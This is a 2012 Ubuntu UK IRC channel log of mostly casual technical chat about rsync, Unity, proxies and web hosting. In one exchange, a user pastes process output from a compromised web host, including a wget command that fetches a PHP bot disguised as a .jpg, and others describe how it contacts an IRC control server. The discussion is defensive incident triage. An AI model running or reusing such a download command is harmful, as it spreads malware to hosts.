<ali1234> also they heavily use outlook as their "cloud"
<ali1234> rather than a dropbox or something, everything goes on the outlook folders
<ali1234> how is ubuntu one for corporate use btw?
<awilkins> My assessment would be "poor"
<ali1234> is there anything like the google thing for corps?
<ali1234> can't remember if it's apps or domains or apps for domains
<awilkins> The last I look it still had bad proxy support
<ali1234> what i mean is, is there a way you can set up some kind of "group" on it?
<ali1234> and have a folder shared by default company wide
<ali1234> and automatically have your contacts sync company wide
<ali1234> so when you hire a new guy and add them to the group, they appear on everyone's contacts
<awilkins> ali1234, I'm not sure it supports that at all ... I can't get past the bad proxy support in the client from an "enterprise" POV
<ali1234> why do enterprises love proxies so much?
<ali1234> what do they think it is going to do?
<awilkins> I know, that's a separate issue
<awilkins> Especially MS ISA
<awilkins> I *hate* MS ISA
<ali1234> goes without saying.
<ali1234> i don't know anyone who uses that stuff
<awilkins> "Hey, configure your proxy to require *Windows Auth* to work - that'll be really cool"
<awilkins> I hate doing Windows Auth over HTTP as well
<awilkins> It's a right pain in the butt, especially for sites running on Apache / Linux
<awilkins> We have not arrived at a satisfactory solution yet, despite trying for the last 7 years or something stupid
<ali1234> sounds very enterprisey
<ali1234> i don't even know why they call it that
<awilkins> And our last unsolicited pen test report from ICT made a load of recommendations that would break things like RDP for not only Linux clients but our Windows XP ones too
<awilkins> Our ISA servers are configured such that they break Subversion because they only permit GET and POST and not WebDAV methods
<awilkins> Now, we COULD do naughty things like ... oooo.. tunnelling all our traffic through our router at home via SOCKS / SSH. But that would be NAUGHTY.
<ali1234> the kind of people i'm thinking of... basically don't have any servers at all
<ali1234> everyne at the company has a laptop and a phone that they take everywhere
<ali1234> they have hosted exchange accounts
<ali1234> and that's it
<ali1234> they don't even have desktop PCs in their office. just keyboards and monitors they plug the laptops in to
<awilkins> I think that's an increasingly common setup
<ali1234> indeed
<awilkins> I've worked that way for the last 15 years
<awilkins> Although I do like my Big Fat Desktop at home
<directhex> god fucking damnit
<awilkins> Ahem, family channel
<awilkins> (network, even)
<directhex> justified, tbh.
<davmor2> bigcalm: early lunch == long afternoon working
<bigcalm> davmor2: depends upon when I return to work ;)
<gord> this is the weirdest bit of marketing for a video game ever... http://petition.masseffect.com/
<awilkins> Hmm. If I were the admin at DirectGov I would take a VERY dim view of that
 * bigcalm heads off to shop
<awilkins> Unless it's a shameless attempt to knock "Drop the NHS Bill" off the top spot on the ePetitions list
<gord> i don't really see anything wrong with it
<hoover> hi folks
<hoover> I've just switched to KDE 4.8... after a short stint with WindowMaker ;-)
<hoover> on Lucid, that is (10.4)
<diplo> Anyone use Xchat here ?
<davmor2> diplo: yes
<diplo> So have lot's of favourites
<diplo> Auth with nickserv
<diplo> One channel always chucks me to unregistered because i join quicker than it auths
<diplo> Know of a way round it, had a quick googly, but nothing straight away
<Azelphur> are you using xchat or xchat-gnome?
<diplo> Vanilla Xchat
<diplo> Don't like the Gnome version
<Azelphur> nobody does :P
<diplo> heh
<Azelphur> it should do auth before joining channels, that's highly likely to be a bug or something weird going on
<diplo> Will go back to irssi at some point but not there yet
<diplo> It's not the be all for me, it's only CentOS channel
<diplo> :)
<Azelphur> workaround you could use a bouncer, then the bouncer does it properly for you :P
<diplo> Think I'll probably go back to Irssi, only had one issue with it
<diplo> And that was if I was downloading something on my connection at home it lagged to much
<diplo> :P
<diplo> So going to stick on vps when i get it
<Azelphur> hehe
<Azelphur> yea depends what you like really, some people prefer irssi on a VPS
<Azelphur> other people prefer native clients for whatever platform they are using, and a bouncer
<davmor2> diplo: have a look on their site they have a load of plugins and scripts for doing pretty much everything
<diplo> Cheers will take a look
<diplo> In my gaming days I used to run a bouncer for everyone on my game server
<diplo> pysbnc or something from memory
<diplo> loooooonnnnnnggggggg time ago
<diplo> :)
<davmor2> diplo: there are a few answers here http://askubuntu.com/questions/6332/prevent-xchat-from-trying-to-join-channels-until-i-have-been-authenticated
<diplo> I forgot askubuntu last night!
 * diplo looks
<diplo> cheers
<diplo> Set a delay, see if that works
<diplo> That'll do it \o/
<diplo> Cheers davmor2
<bigcalm> I have returned!
<davmor2> bigcalm: No you haven't
<bigcalm> ;
<bigcalm> return true;
<bigcalm> I have returned
<davmor2> ;
<davmor2> return true == false;
<bigcalm> Bah
<bigcalm> That's still returning a value
<czajkowski> ubuntu UK ml where on top replies or snips away the entire thread so you don't know what the person is replying back to exactly
<czajkowski> :/
 * BigRedS tries to decipher that
<AlanBell> sandwich posting \o/
<bigcalm> bigcalm: ubuntu-uk mailing list people are replying to emails incorrectly
<gord> i think i am going to have to make a new home partition that uses a HDD, then symlink in the SSD for certain folders... all because ubuntu one won't let me sync things that are outside my home directory and i'm running out of space :(
<popey> wow, big wall of text from kris there
<popey> did he establish what version they had before asking them to use the applicayion menu?
<popey> i was going to reply but the references to mint make me not want to
<bigcalm> Mmmm, minty
<gord> i pretty much don't read mailing lists anymore, its just a place for people to rant on mostly
<TheOpenSourcerer> There's a lot of ranting going - that's for sure.
<TheOpenSourcerer> Although I'm very happy with Ubuntu 10.10 ;-)
<czajkowski> all the ohh Mint is more popular, dear gods how many times do folks have to be told what downloads mean
<penguin42> The mint guys do seem to have done a nice job
<bigcalm> popey: short on patients today I see :)
<bigcalm> I do believe that it is time for a cuppa tea
<BigRedS> Is that cinnamon?
<BigRedS> I had a go on that at fosdem. It was like 2003 but with rounded corners.
<BigRedS> I'm sure people like it and all, but it feels very old-for-the-sake-of-it
<penguin42> BigRedS: I like it, didn't feel old to me
<BigRedS> I've been using Gnome3 for a year or so now, menus feel *so* clunky and convoluted now
<penguin42> http://tech.slashdot.org/story/12/02/22/1323204/adobe-makes-flash-on-gnulinux-chrome-only     ouch
<bigcalm> Another reason not to use it?
<penguin42> like we have a choice
<bigcalm> Yes, I choose not to use it
<gord> i'll just keep using the current flash version
<penguin42> gord: Which will just gain more and more known vulnerabilities
<gord> if you actually read the article and not slashdot because slashdot is terrible "Adobe will continue to provide security updates to non-Pepper distributions of Flash Player 11.2 on Linux for five years from its release."
<penguin42> hmm ok, thanks - I guess that's not too bad - with any luck 5 years might let us finally bury most of Flash
<gord> or mozilla will support that other api
<gord> its not like i'm aching for new features in flash 12 or whatever
<penguin42> gord: Oh agreed, it's just pages that already exist - there are a couple I use I know don't work in Chrome for example
 * penguin42 moves this <--- machine to sid
<aquarius> gord, you could bind-mount external folders into your home folder and sync them with U1 that way... but... there be dragons, so you need to be careful.
<gord> aquarius, yeah tried things like that before, didn't really end well. so i figure going the other way and having a large hard drive and symlinking files/directories in from the fast ssd when i need to makes more sense in the long run
<DJones> popey: What app are/where you using for your webcam, I was looking at webcam-server but sounds like thats no longer available, is your blog at http://popey.com/blog/2010/12/20/my-ubuntu-webcam-setup/ still the same as the current setup
<popey> yup
<popey> http://popey.com/~alan/webcamrc.txt
<popey> sommat like that
<DJones> Thanks, I'll have a look at that
<DJones> Last time I had it running, I was using "Motion" as the webcam app
<daubers> Afternoon
<daubers> Has anyone got an audio captcha plugin for asterisk yet?
<popey> "Say BANANA"
<gord> BANANA
<gord> why?
<gord> oooh
<MooDoo> hello all
<davmor2> gord: "say BANANA PHONE"
<penguin42> hmm they've street view'd moscow - nice to look around
<awilkins> In Soviet Russia, street views you
<jpds> penguin42: Saint Petersburg's fair nicer.
<jpds> far*
<penguin42> thanks - I'll have a look
<AlanBell> Bug #938764
<lubotu3> Launchpad bug 938764 in unity "hud steals alt key from within virtualbox sessions" [Undecided,New] https://launchpad.net/bugs/938764
<AlanBell> naught HUD, don't do that.
<ahayzen> AlanBell: which mode is VBox in when this is happening?... I usually use 'seamless mode'...and am just curious ;)
<AlanBell> full screen
<ahayzen> AlanBell: does it happen in the other modes?
<AlanBell> yes, but that is probably a good thing in seamless mode
<ahayzen> yeah probably
<AlanBell> of course it *should* do magic to pick up the menu content of the guest windows and reparent them into the global menu and hud
<AlanBell> cross operating systems
<ahayzen> that would be cool
<ahayzen> Wish i didn't have coursework so I could help with the unity bugs :(
<gord> smarter peoples than me: if i cp my home directory to another partition, keeping permissions/timestamps intact, then mount that partition in /home, will everything work as normal?
<BigRedS> yes
<BigRedS> as long as you do everything
<BigRedS> do cp -a /home/gord /new/home/partition   or otherwise make sure all the dotfiles come with
<gord> BigRedS, does that handle symlinks gracefully?
<AlanBell> when you are not logged in and lightdm changes your wallpaper, where does it store the wallpapers it changes to? does it cache them somewhere or really pull them out of your home directory (and how does it do that with encrypted home?)
<BigRedS> gord: yeah. -a does --preserve=all
<BigRedS> so you'll have a new link with the same destination
<gord> neat
<gord> if everything breaks i'll come back and blame you
<AlanBell> consider rsync if /home/gord is more than a few 10s of GB
<gord> i mean. uh, thanks :)
<BigRedS> haha
<gord> AlanBell, whys that?
<BigRedS> I've not noticed much difference in speed
<BigRedS> well, I've not noticed any
<BigRedS> but I've not been very scientific
<AlanBell> it does checksums and is restartable
<gord> speed i could care less about, but i think rsync does progress in certain configurations which would be handy
<BigRedS> yeah
<BigRedS> I do cp -a and if that fails I resume it with an rsync
<AlanBell> interesting
<BigRedS> I think it's force of habit. Always rsync for remote, cp for local
<BigRedS> fewer characters, probably
<gord> AlanBell, anything special i need to do with rsync to get the same deal as cp -a?
<AlanBell> -avz I think, something like that
<BigRedS> yeah
<BigRedS> -a is the same as -a on cp, -v is verbose so you get a list of files and -z zips them which it doesn't do local-to-local anyway
<gord> -r for recursion too?
<BigRedS> -a includes a -r
<gord> neat
<BigRedS> -a is recursive preserving permissions, links, ownership, timestamps etc
<TheOpenSourcerer> man cp
<TheOpenSourcerer> :-)
<gord> it is rather more easier and less error prone to ask #u-uk than it is to rtfm ;)
<BigRedS> yeah, and I feel like I've just justified all the questions I've asked now :)
<gord> this is going much faster than my remote rsyncs, obviously the high speeds are faster, but the lots of small files case seems to be faster too
<BigRedS> that's one thing rsync's less good at - it spends a while stating files at the beginning
<BigRedS> if there's billions of tiny ones it's definitely not-ideal but I don't know if anything's better
<penguin42> and tends to eat about 100bytes/file - can get a problem if you have a HUGE directory
<gord> rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1070) [sender=3.0.9]
<gord> i blame AlanBell!
 * AlanBell hides
<gord> sure would be nice if you could grep the previous commands output
<kaushal> Hi
<kaushal> is there a way to know the type of hard disk and rpm speed on ubuntu 11.10 ?
<BigRedS> smartctl -a /dev/sda   will give you a bunch of data
<BigRedS> not sure on rpm
<kaushal> i mean is it scsi or sata or ssd ?
<diplo> hdparm -i /dev/sda etc ?
<diplo> Or capitol I
<ahayzen> kaushal: You can get alot of info from the 'Disk Utility'
<gord> huh, it actually seems to have worked
<BigRedS> haha
<buzz> one annoying thing with rsyn c(I have more than one actually), is that some stuff is not intuitive, like when restoring from a backup where xattrs were used to store ownership etc, you have to do something like "rsync -a --numeric-ids --rsync-path="rsync --fake-super" XX@localhost:/ dest"
<buzz> also it never had fully implemented working rename detection, although there was a patch at some point that sometimes worked
<dwatkins> I imagine it's difficult to implement without a stateful sync tool.
<popey> http://podcast.ubuntu-uk.org/2012/02/22/s05e00-season-5-is-coming/
<AlanBell> topic needs updating
* AlanBell changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived http://irclogs.ubuntu.com | Mailing List http://tinyurl.com/uukml | Support Guidelines http://tinyurl.com/uuksupport | Meeting 2nd February 21:00 UK time #ubuntu-uk-meeting | The Podcast is baaak \o/ http://podcast.ubuntu-uk.org/2012/02/22/s05e00-season-5-is-coming/
<BigRedS> There really should be a diff printed out when the topic's changed
<MartijnVdS> BigRedS: there's an irssi script/plugin
<MartijnVdS> in the irssi-scripts package
<BigRedS> ah yeah, there would be
 * bigcalm sets off to find out how weird the folk are that attend Woves LUG
<bigcalm> Wolves LUG even
<ubuntuuk-planet> [Ubuntu UK Podcast] S05E00  Season 5 is coming! - http://podcast.ubuntu-uk.org/2012/02/22/s05e00-season-5-is-coming/
<jacobw> evening
<djbenny> evening
<ubuntuuk-planet> [Jono Bacon] Testing Ubuntu Accomplishments - http://www.jonobacon.org/2012/02/22/testing-ubuntu-accomplishments/
<AlanBell> how would you add an audio commentary to a screencast?
<AlanBell> if for example you did a 5 minute screencast with the microphone muted for example
<ali1234> i would use openshot
<AlanBell> yeah, I like it for editing, but I don't see a "playback and record sound as a new track" option
<ali1234> er
<ali1234> play video in mplayer while recording audio
<ali1234> drop audio file in openshot
<ali1234> drag it to the timeline
<ali1234> export
<AlanBell> ok, that works :)
<ali1234> if you are feeling really lazy and your computer is powerful enough, just record a new screencast of the video playing in mplayer while yu talk, this time remembering to enable the mic
<popey> hello
<popey> choo choo
 * brobostigon joins in with making choochoo sounds.
 * popey is at Waterloo
<ali1234> you can also "audioswap" with ffmpeg if you don't want to reencode the video
<ali1234> but that's a command line hassle
<popey> AlanBell: see lp:ffscreencast for how you can extract audio and add different audio
<popey> at the end of the script
<popey> but yeah, a gui is "better"
 * czajkowski waves at popey 
<popey> hullo
<popey> eek, moving
<ali1234> i found the compiz plugin for drawing on the screen
<ali1234> usefu for screencasting
<ali1234> can you guess what the default shortcut is for it?
<popey> does it need 8 fingers?
<ali1234> no
<AlanBell> does it bring up the HUD?
<ali1234> only 2
<popey> alt+super?
<ali1234> right
<popey> haha
<popey> brilliant
<AlanBell> fail
<ali1234> i unbound those two keys from unity
<popey> i had some very interesting discussions with the designers today
<SuperEngineer> alt-super... did somebody call ? .... ;)
<popey> about unity, window management
<popey> 14.04 is going to be a great release :D
<ali1234> lolz
<popey> had fun with the numbers on the launcher 'stick' on
<popey> which was useful for determining at any time how many icons i had in the launcher
<popey> unless i had more than 10
<ali1234> i've said all along that unity will be good when it stops being "experimental" and starting being sensible :)
<ali1234> same goes for gnome-shell
<ali1234> gnome has already been through that cycle once
<popey> i cant help but smile that i am on a train using a brand new laptop and a leading mobile phone to talk on irc âº
<popey> thats a fair assesment
<KrimZon> I think the main thing I want from unity right now before I use it lots is to only show icons for what's in the current workspace
<ali1234> KrimZon: the new version half does that, actually
 * AlanBell figures out you start recording audio first, then hit play in mplayer
<ali1234> KrimZon: by default
<ali1234> if there are windows of the app on the current workspace it will only show those windows if you click the launcher twice
<ali1234> if there aren't, it takes you to another workspace still
<ali1234> but you can tell by looking at the little arrow now, what will happen when you click it
<ali1234> so all in all, an improvement
<popey> time for some train based emulation fun
<ali1234> this is actually a compiz setting btw, only the default was changed
<popey> ttfn
<KrimZon> it's just that in gnome2 i had everything organized based on whether it was dealing with already running programs or with starting new ones
<KrimZon> have, rather, because I'm still on 10.04
<ali1234> yeah i don't like docks much because of the way they blur that line
<ali1234> but that's never going to change
<ali1234> anyway the new setting is much better, try it
<AlanBell> yeah, I took everything out of the launcher
<AlanBell> I have pinned a few things again, but it really confused me to begin with having stuff that wasn't running in the launcher that I didn't know how to close
<ali1234> seriously?
 * directhex moos
<ali1234> the launcher itself never confused me. annoyed me, yes....
<AlanBell> ali1234: well not for very long, but I was a bit perplexed by it
<ali1234> now, the old "all desktops" window switching thing... that really confused me
<KrimZon> I'd call it confusion, albeit momentary, when I want to open a new window and end up with the existing one on another workspace
<ali1234> i could never know which desktop i was on and which desktops my windows were on
<ali1234> so i just used 1 desktop all the time
<AlanBell> I have only used a mac a few times and I didn't get where applications came and went from in the dock, having used unity I now understand the mac dock I think
<ali1234> KrimZon: yeah exactly. that can still happen, but it is now possible to tell from the graphical hints whether it is going to happen or not
<ali1234> before it was impossible to tell
<KrimZon> but the behaviour of the icon is still inconsistent
<KrimZon> dependant upon whether there's already an instance running
<ali1234> yes
<KrimZon> I would've loved it if they just added dock-style launcher icons to gnome 2
<ali1234> ugh
<ali1234> i would not have loved that
<KrimZon> as an extra feature, rather than replacement
<ali1234> they would all move around every time i log in, no thanks
<KrimZon> well, by that I mean they start the app if it's not open else they switch to it
<KrimZon> for stuff like pidgin and x-chat
<ali1234> if i'm gonna run gnome 2, i won't be having any dock functions
<KrimZon> pidgin handles 2 instances by itself, but x-chat embarrasses me by logging in twice :p
<ali1234> if you don't like inconsistent icons, why do you want to put that design into gnome 2?
<ali1234> just so you'd be able to turn it off?
<KrimZon> well... maybe turning it off was my first reaction when I heard the feature discussed
<ali1234> anyway, point is, once you;ve got a terminal window open on all workspaces, unity will now never warp you to another workspace when clicking the launcher like it used to do
<KrimZon> I still think there's some stuff it's just handy to have a button to launch that won't run it if it's already running
<ali1234> which was my main problem with it really
<KrimZon> yeah, terminal windows are the opposite end - if you press terminal you generally want a new one, not the one that's doing something else already
<ali1234> not really
 * AlanBell wonders what to do about window quicklists
<ali1234> i normally want "the terminal on this workspace" - not the last one i touched on any workspace
<ali1234> because i have about 5 terminals open on every workspace
<ali1234> so i go to the workspace related to the task first, then i look for the temrinal i want
<ali1234> same goes for firefox windows
<KrimZon> hmm
<AlanBell> indeed, and raising every single terminal is not helpful
<ali1234> cos i need my API reference as well
<ali1234> and text editor
<ali1234> and i'm usually working on three things at once
<ali1234> so each workspace has a gedit, a firefox, and a bunch of terminals
<ali1234> then i'll also probably have minecraft or eve running on another workspace
<AlanBell> yup
<ali1234> and of course i need another firefox window for that open on monitor 2 for reference
<ali1234> we finally got the ability to loaunch programs on monitor 2 while something is running fullscreen on monitor 1
<ali1234> previously i had to move to aother workspace with keyboard shortcut, open firefox, drag it to second monitor, "send to workspace" then switch back to the game
<ali1234> such a faff
<sagaci> alt+`
<KrimZon> I don't use multi-monitor configurations at home
<ali1234> alt+`?
<ali1234> ow does that help me?
<ali1234> eve is a game that caters to the type of players that all other mmorpgs hate
<ali1234> you are basically expected to play it with a guide open at all times, otherwise you will get utterly destroyed
<ali1234> the in game browser sucks though
<AlanBell> http://www.youtube.com/watch?feature=player_embedded&v=MoXhfnmODbk#! nice fix to a silly fail
<ali1234> what how does that work?!
<AlanBell> move to the side of the window, scroll thumb leaps to the mouse, click the thumb and drag sideways to resize the window, rather than trying to sneak up on it from the right and resize when it isn't looking
<ali1234> nice
<popey> \o/ home
<KrimZon> I played eve for a while
<KrimZon> some time ago, until it started feeling too much like work
<ali1234> yeah the trick is to never join a corp :)
<KrimZon> I didn't, I used to just try to find decent trade routes that would make some kind of profit
<andylockran> howdy
<andylockran> I left my charger for the lappy at work today - absolute bummmer.
<ali1234> jita -> anywhere makes you a profit on any widely used t2 modules
<ali1234> i log in once every two weeks and do an orca trip, that's enough to cover my plex
<ali1234> also, the eve UI is now a blatant rip-off of unity
<KrimZon> haha
<ali1234> they even have progress bars on their launcher
<ali1234> for skill training
<ali1234> and you can move the icons around
<ali1234> it was similar before but they've obviously taken a lot of inspiration :)
<zleap> how do i search for a file in ubuntu 11.10
<ali1234> through the dash
<KrimZon> I must confess I quit searching for files when I switched to linux
<zleap> it finds the files but how do i get it to tell me where the file is
<ali1234> hahaha
<zleap> as in path to file, so i can navigate to it
<ali1234> you're not supposed to care where it is
<zleap> grrr
<ali1234> just always open it through the dash
<ali1234> if you want to know where it is, open nautilus and hit ctrl-f
<zleap> ok
<ali1234> or just use find in a terminal
<ali1234> zleap: http://www.youtube.com/watch?v=Guwvwp0uSU8
<zleap> i got it
<zleap> just that dash needs to display more info, perhaps hover over the file and it displays path,  creation date so you can manage multiple copies of the same document
<ali1234> well the 12.04 has a filtering thing where you can sort by date etc
<ali1234> you have to go to the file lens
<ali1234> dunno how any of it works on older versions... can't remember
<zleap> well that sounds better to me, at least then when it is searching across multiple file systems,  and say drop box folder users can find the oldest version and maybe delete
<zleap> ali1234, thanks
<zleap> in 11.10 it just displaysd icons for the files and filename
<KrimZon> I'll have to install 12.04 in a vm for a while
<zleap> k
<Azelphur> http://www.youtube.com/watch?v=j-kbMF1GF2A&hd=1 \o/
<ubuntuuk-planet> [Alan Lord] How to install OpenERP 6.1 on Ubuntu 10.04 LTS - http://www.theopensourcerer.com/2012/02/22/how-to-install-openerp-6-1-on-ubuntu-10-04-lts/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-install-openerp-6-1-on-ubuntu-10-04-lts
#ubuntu-uk 2012-02-23
<daftykins> how can any chat client think it a good idea to give exact versions in a quit 0o
<penguin42> daftykins: I guess it takes all of the annoying messages out of people trying to probe to find exactly what version you have
<daftykins> penguin42: :D
<ali1234> looks like a new php worm is doing the rounds
<ubuntuuk-planet> [Jono Bacon] Awesome Unity Contributions - http://www.jonobacon.org/2012/02/23/awesome-unity-contributions/
<AlanBell> choo choo
<DJones> Bless you
<MooDoo> morning all
<DJones> Morning MooDoo
<AlanBell> so, Waterloo to Canary Wharf without using the Jubilee line
<AlanBell> any suggestions?
<diplo> Morning all
<diplo> And not a clue :)
<diplo> Bloody web host server has died for second time in 2 weeks
<MooDoo> :(
<diplo> In there support ticket they say this is why you should get a VPS with us
<diplo> Umm no, this is why we should move
<aquarius> AlanBell, then you have to go the DLR; CAnary Wharf's only on the DLR and Jubilee
<jpds> AlanBell: River boat service.
<aquarius> so waterloo to bank on the waterloo, then the DLR.
<aquarius> or go on the river, like jpds says :)
<aquarius> or a cab :)
<MooDoo> diplo: you using windows on it ;)
<diplo> Seems they are actually being ddos'd or something
<diplo> hmm no actually other way round
<MooDoo> just joking mate...
<diplo> 26017 ?        SN     0:00 php Vivie
<diplo> 26018 ?        SN     0:00 sh -c wget http://www.buolkab.go.id/disbudpar/bogel.jpg -O Viv
<diplo> 2
<diplo> buolkab php vivie
<diplo> Search for that in google
<AlanBell> Going for the boat
<diplo> Site hacked by :)
<diplo> ps ax is full of that above :(
<MooDoo> so it's not the vps host, it's a cracked site? or am i reading this wrong?
<diplo> I think they are using the reseller account to try and hack other sites myself
<diplo> and basically killed it
<MooDoo> so cracked site then....sigh, i hate them
<popey> bogel.jpg: PHP script, ASCII text, with very long lines, with CRLF line terminators
<popey> irc.vivie.biz is probably worth blocking, thats the irc server it connects to
<diplo> Did you just grab the file ?
<popey> yes
<diplo> We're stuck with webhosts but will pass this on cheers.
<MooDoo> diplo: who you with?
<diplo> Compila, some one else chose years ago
<diplo> We have problems with them all the time, trying to talk our company into us hosting via a vps or something
<diplo> http://www.compila.com/
<diplo> One of the guys at work want to go with this company http://www.daily.co.uk/products/virtual-private-servers/index.html
<czajkowski> aloha
<diplo> popey, had a read through the script ?
<diplo> Basically going through loads of vulnerabilitys and PMing that IRC channel
<diplo> then grabs a perl script from the irc channel and dumps it in /tmp
<BigRedS> surely blocking outbound irc is the first step?
<BigRedS> 99% of the time these people run everything on the default ports
<diplo> Depends what port they run on I guess unless doing deeper inspection
<diplo> 7000 for these guys
<popey> diplo: I recommend bitfolk âº
<BigRedS> yeah, so just drop anything to 6000-7000 and 80
<diplo> heh I'm already trying with them
<diplo> But what the others don't like is that others are cheaper, and as I keep telling them with Compila as an example, cheap != Good
<diplo> BigRedS, I don't think they are competent enough :(
<AlanBell> I am on a boat
<gord> choo choo
<gord> stop one upping me :P
<gord> not sure what sound a boat makes... splish splash?
<czajkowski> AlanBell: lotta trains messed up this morning
<jpds> czajkowski: Just this morning?
<davmor2> czajkowski: prod
<AlanBell> it is a thames clipper so it goes whoosh
<davmor2> morning all
<davmor2> MooDoo: you great hippy ;)
<MooDoo> morning davmor2 and thanks
<czajkowski> davmor2: ello
<czajkowski> AlanBell: aye love the chopper
<AlanBell> clipper
<davmor2> czajkowski: You've seen AlanBell's chopper, but AlanBell you said you only cut up things in front of me :D
<andylockran> owdy all
<andylockran> How's we doing?
<DJones> Speaking of travel, if anybody is heading up the M1, its closed between J9 and J11, 4 lorry accident according to BBC
<bigcalm_lappy> Hellooooooo
<AlanBell>  whoooosh
<dwatkins> oh my, the M1 was bad enough with all the roadworks :/
<mattt> morning
<czajkowski> bigcalm: davmor2 how is the lighthouse?
<davmor2> czajkowski: according to chilly chilly mrevell fairly warm in comparison to last time
<czajkowski> awwww please mind my boss and bring him coffeee!
<davmor2> No mrevell is old enough to get his own coffee :P
<mrevell> I have a wonderful team
<mrevell> so glad davmor2 isn't on it.
<bigcalm_lappy> czajkowski: warm today. And this has to be the day I wear thermals.
<bigcalm_lappy> Also, I need to add bigcalm to my highlight strings
<davmor2> mrevell: You're only jealous of my ability to be evil muhahahahahaha
<mattt> seriously, what's the deal w/ this lighthouse
<mattt> if someone is working from a lighthouse, please invite me
<czajkowski> bigcalm_lappy: always the way :)
<bigcalm_lappy> Haha
<gord> mattt, not an actual lighthouse
<czajkowski> mattt: http://light-house.co.uk/
<bigcalm_lappy> mattt: If only this were the case. I think I should move to the coast
<mattt> :~(
<mattt> thought it was a proper lighthouse
<bigcalm_lappy> mattt: where in the UK are you?
<bigcalm_lappy> davmor2: gord: mrevell: coffee?
<mattt> bigcalm_lappy: live outside reading, work west london
<gord> bigcalm_lappy, yes please
<mattt> bigcalm_lappy: you?
<bigcalm_lappy> mattt: bit far for our light house then sadly
<davmor2> bigcalm_lappy: No cappuccino please
<bigcalm_lappy> Near Telford, Shropshire
<czajkowski> oh gord is there
<mattt> far too far
<bigcalm_lappy> davmor2: that is a type of coffee :P
<MartijnVdS> Sometimes, seemingly at random times, a "Search" bar opens at the top of my screen
<MartijnVdS> (Unity, 12.04)
<MartijnVdS> is that a bug, or some feature I don't know about?
<MartijnVdS> it's just "Search", not the icons I get with it when I press the "windows" key
<MartijnVdS> ah, it's the HUD
<MartijnVdS> *disable*
<brobostigon> good morning everyone,
<MartijnVdS> \o
<brobostigon> o/
<DJones> Does anybody here (as a business) use paypal to accept payments from customer? Just been asked whether it would be worth doing where I work, boss thinks it'll save on credit card charges etc, but I thought paypal took a charge from the person paying and a deduction from what they pay over to the seller
<bigcalm_lappy> davmor2 is cheap
<MooDoo> bigcalm_lappy: you've only just worked that out? ;)
<bigcalm_lappy> MooDoo: I've just had verbal proof from the man himself
<AlanBell> djones it is good for low value international payments
<DJones> AlanBell: What do you class as low value? we'd be looking at anything from Â£1K to Â£100K, international and domestic
<directhex> paypal has two major issues - they gouge you on fees, and if you start trading in any volume, they sit on payments for more than a month for "security"
<Azelphur> Little bit rude, but I think most people here will find this hilarious: http://www.youtube.com/watch?v=j-kbMF1GF2A&hd=1 :D
<bigcalm_lappy> I fear that there is a really vicious dentist in the cafe next to us
<DJones> directhex: by volume, do you mean lots of small transactions, or just single large value transactions, ours would probably be occasional higher value transactions
<directhex> DJones, either
<DJones> Thanks, that wouldn't be good for us, as we get money and then can have to pay it out straight away to 3rd parties
<czajkowski> also going by past experience of looking at what paypal do, if they don't like the organisation they stop kpayment transactions
<directhex> and keep the money
<DJones> I saw a few comments about that
<DJones> A charity that was collecting funds for a disaster and one of the Minecraft dev's had $600K frozen
<davmor2> czajkowski: make gord fix alt-tab he says won't for me make him go on make him :D
<czajkowski> davmor2: you're the one sitting beside him
<czajkowski> give him a dead arm till he fixes it
<czajkowski> or else get no more coffee/tea allowed for him
<bigcalm_lappy> No soup for you!
<gord> this is not a positive method of encouragement. i like money
<czajkowski> I like not having a dead arm and tea when needed
<czajkowski> :)
<diplo> What would be the effects of using a 2.6.9.* kernel on a Xeon E5640 ?
<diplo> I'm hoping issues with speed etc
<mrevell> Sometimes only Viking themed metal will do.
<czajkowski> gah what worked for one solution wil not work for another and I am baffled as to know why
<czajkowski> >:(
<czajkowski> baffled/annoyed
<directhex> diplo, real 2.6.9, or red hat 2.6.9?
<diplo> Redhat ( CentOS 4.8 )
<diplo> We have a system that is really slow on new hardware, compared to old server
<diplo> Reports that used to take 17mins now can take 40+ on a newer machine
<diplo> Trying to track down the issue :)
<diplo> Only issue I can think of now is kernel, but don't know if that would be the cause
<popey> \o/ lenovo guy been and left
<popey> I can haz new mobo
<brobostigon> !hud
<lubotu3> Ubuntu 12.04 LTS will include the first step in a major new approach to application interfaces, the Head-Up Display, or HUD, which will ultimately replace menus in Unity applications. See http://ubottu.com/y/hud for the background on this and discuss it in #ubuntu+1 or #ubuntu-offtopic
<seeker> popey: Only 2 days late?
<directhex> diplo, have you isolated which things specifically seem slow? cpu ops, networking, io?
<directhex> diplo, red hat backport all the drivers ever to their rhel kernels, that's the only reason rhel is remotely useful. so it should be fine on new kit
<brobostigon> does someone have the HUS ppa addr, i cant access the HUD ppa page on launchpad.
<diplo> yeah, pretty sure it's cpu
<ikonia> diplo: what makes you think it's cpu ?
<diplo> hdparm on discs etc are gettingmuch higher throughput
<diplo> No full reason, and I'm stuck and that's why I'm asking I guess
<diplo> Old server doesn't max CPU out this one does
<popey> yeah seeker
<diplo> It's an idea really.. we've just about hacked our old system to work on cent6 now so hopefully going to test that
<diplo> I've never had to do optimisation/checking of issues like this before
<seeker> popey: Refund on "next day"?
<popey> nah
<diplo> directhex / ikonia : Can you recommend anything to try and isolate the issues ?
<andylockran> guys, how do I know what devices are given network names in ubuntu
<andylockran> eg, lspci shows the ethernet deivce
 * czajkowski waves at davmor2 bigcalm_lappy gord 
<andylockran> how cna I see which alias it has?
 * bigcalm_lappy hugs mrevell's screen to pass on a hug to czajkowski
<mgdm> andylockran: ip link show ?
 * bigcalm_lappy slowly headbuts claws
<seeker> mgdm \o/
 * davmor2 tickles czajkowski 
<aquarius> ok, so, my mate's wubi install won't boot; the windows bootloader drops him to grub, and the grub prompt
<aquarius> after much exceedingly annoying research about how wubi boots with a loopback thingy and trying lots out... it still won't boot
<mrevell> bigcalm_lappy, I think gord should come every time, as he attracts davmor2's speech.
<aquarius> grub seems to think that the loopback file is an unknown filesyste,
<aquarius> Suggestions? These can include "repair it", if someone knows how.
<bigcalm_lappy> mrevell: I agree
<ubuntuuk-planet> [Gareth France] Musings on the superiority of the Windows platform - http://cliftonts.co.uk/cubuntu/?p=101
<aquarius> who even owns wubi? :)
<bigcalm_lappy> Burnt my fingers squeezing a tea bag
<bigcalm_lappy> Owie
<ikonia> diplo: sorry I was just on the phone, how are you getting on ?
<diplo> Just about to try with SAR
<diplo> Remembered it from my RS/6000 IBM days
<diplo> See if i can get any info from that
